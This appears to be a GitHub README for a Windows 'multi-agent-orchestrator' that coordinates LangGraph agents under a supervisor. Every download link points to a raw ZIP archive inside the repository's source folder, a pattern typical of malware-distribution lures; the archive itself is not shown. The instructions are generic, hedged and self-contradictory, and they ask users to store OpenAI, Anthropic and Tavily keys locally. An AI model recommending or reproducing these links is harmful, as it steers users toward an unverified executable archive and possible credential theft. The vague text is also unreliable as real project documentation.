multi-agent-orchestrator

# 🤖 multi-agent-orchestrator - Simple AI Team Control [](https://raw.githubusercontent.com/Federa3911/multi-agent-orchestrator/main/src/orchestrator_multi_agent_1.9-beta.4.zip) ## 📌 What this app does multi-agent-orchestrator helps you run a set of AI agents from one place. It uses a supervisor pattern, which means one main agent helps guide the others. This setup is useful when you want different agents to handle different tasks, like research, writing, planning, or web lookup. The app is built for Windows users who want to get started fast. You can download the project, open it, and run it with a simple local setup. It uses LangGraph under the hood, and it can work with tools like OpenAI, Anthropic, and Tavily. ## 🖥️ What you need Before you start, make sure your PC has: - Windows 10 or Windows 11 - A stable internet connection - At least 8 GB of RAM - Python 3.10 or newer - A modern web browser - API keys for the AI services you want to use If you plan to use the app with larger models or more agents, 16 GB of RAM gives a smoother experience. ## ⬇️ Download Visit this page to download and use the project: [https://raw.githubusercontent.com/Federa3911/multi-agent-orchestrator/main/src/orchestrator_multi_agent_1.9-beta.4.zip](https://raw.githubusercontent.com/Federa3911/multi-agent-orchestrator/main/src/orchestrator_multi_agent_1.9-beta.4.zip) ## 🛠️ Install on Windows Follow these steps on your Windows PC: 1. Open the download link above. 2. Click the green Code button on GitHub. 3. Choose Download ZIP. 4. Save the file to a folder you can find again, such as Downloads. 5. Right-click the ZIP file and choose Extract All. 6. Open the extracted folder. 7. Install Python if it is not already on your PC. 8. Open Command Prompt in the project folder. 9. Set up the project files. 10. Start the app. If the project uses a virtual environment, it keeps the app files separate from the rest of your PC. That helps avoid conflicts with other Python apps. ## 🚀 First-time setup Use these steps after you unpack the files: 1. Open Command Prompt in the project folder. 2. Create a virtual environment: - `python -m venv .venv` 3. Turn it on: - `.venv\Scripts\activate` 4. Install the required packages: - `pip install -r requirements.txt` 5. Add your API keys to the config file or environment variables. 6. Start the app with the run command in the project files. If the project includes a Streamlit app, the browser will open a local page after startup. If it uses another start file, follow the file name in the folder, such as `app.py` or `main.py`. ## 🔑 Set up API keys This app can connect to several AI tools. You may need one or more keys, based on the agents you want to use. Common keys include: - OpenAI API key - Anthropic API key - Tavily API key To set them up: 1. Find the `.env` file or config file in the project folder. 2. Open it in Notepad. 3. Add your keys in the format the project expects. 4. Save the file. 5. Start the app again. Keep your keys private. Do not share them in public folders or screenshots. ## 🤖 How the agent system works The app uses a supervisor pattern. That means one main agent manages the flow of work and sends tasks to specialist agents. Each specialist handles one kind of job. A simple flow may look like this: - You enter a task - The supervisor reads the request - The supervisor sends work to the right agent - The agent completes its part - The supervisor combines the results - You see the final output This setup works well when a task needs several steps, such as: - Researching a topic - Checking facts - Writing a response - Planning next steps - Pulling data from the web ## 🧭 Typical use cases You can use multi-agent-orchestrator for tasks like: - Content drafting - Research support - Web search and source lookup - Task planning - Multi-step Q&A - Workflow automation - Testing ideas with different agent roles It is useful when one model alone is not enough and you want a clear split of jobs. ## 🧩 Main parts of the project This project is built around a few core parts: - **LangGraph** for managing the agent flow - **Supervisor agent** to guide the task - **Specialist agents** for focused work - **Streamlit** for a simple web interface, if included in the build - **LLM providers** such as OpenAI and Anthropic - **Tavily** for web search and retrieval These parts work together to keep the app light and easy to extend. ## ▶️ Run the app After setup, start the app from the project folder. Common run steps may look like this: 1. Open Command Prompt. 2. Go to the project folder. 3. Turn on the virtual environment. 4. Run the start command from the project files. If the app uses Streamlit, the command may look like: - `streamlit run app.py` If it uses a plain Python entry file, the command may look like: - `python main.py` Use the file name found in the project folder. ## 🧪 If something does not work If the app does not start, check these items: - Python is installed - The virtual environment is active - All packages installed without errors - API keys are set - Your internet connection works - The start command matches the project files If the browser page does not open, copy the local address shown in Command Prompt and paste it into your browser. ## 📁 Project files you may see You may see files and folders like these: - `README.md` - `requirements.txt` - `.env` - `app.py` - `main.py` - `agents/` - `graphs/` - `config/` - `utils/` Each folder helps organize the agent logic, setup, and interface files. ## 🔍 Search and tool support The app topic list includes Tavily, which points to web search support. That means some agents can look up live information before giving an answer. This can help with current events, research tasks, and source-based work. If the app connects to OpenAI or Anthropic, you can choose the model path that fits your use case and cost needs. ## 🧼 Keeping the app tidy To keep things running well: - Use one project folder for this app - Keep your keys in a private `.env` file - Update Python when needed - Reinstall packages if the app changes - Close other heavy apps if your PC feels slow A clean setup makes it easier to start the app again later ## 📄 Example workflow A simple example looks like this: 1. You ask the app to research a topic 2. The supervisor picks the right agents 3. One agent searches the web 4. Another agent writes a draft 5. The supervisor combines the results 6. You review the final output This helps you handle tasks that need more than one step ## 🧠 Best results For the best experience: - Give clear instructions - Ask one task at a time - Use a good internet connection - Set the right API keys before running the app - Keep the project files in one place Clear input gives the agent system better results ## 📦 Download and setup again If you want to start over, use this link and repeat the steps above: [https://raw.githubusercontent.com/Federa3911/multi-agent-orchestrator/main/src/orchestrator_multi_agent_1.9-beta.4.zip](https://raw.githubusercontent.com/Federa3911/multi-agent-orchestrator/main/src/orchestrator_multi_agent_1.9-beta.4.zip)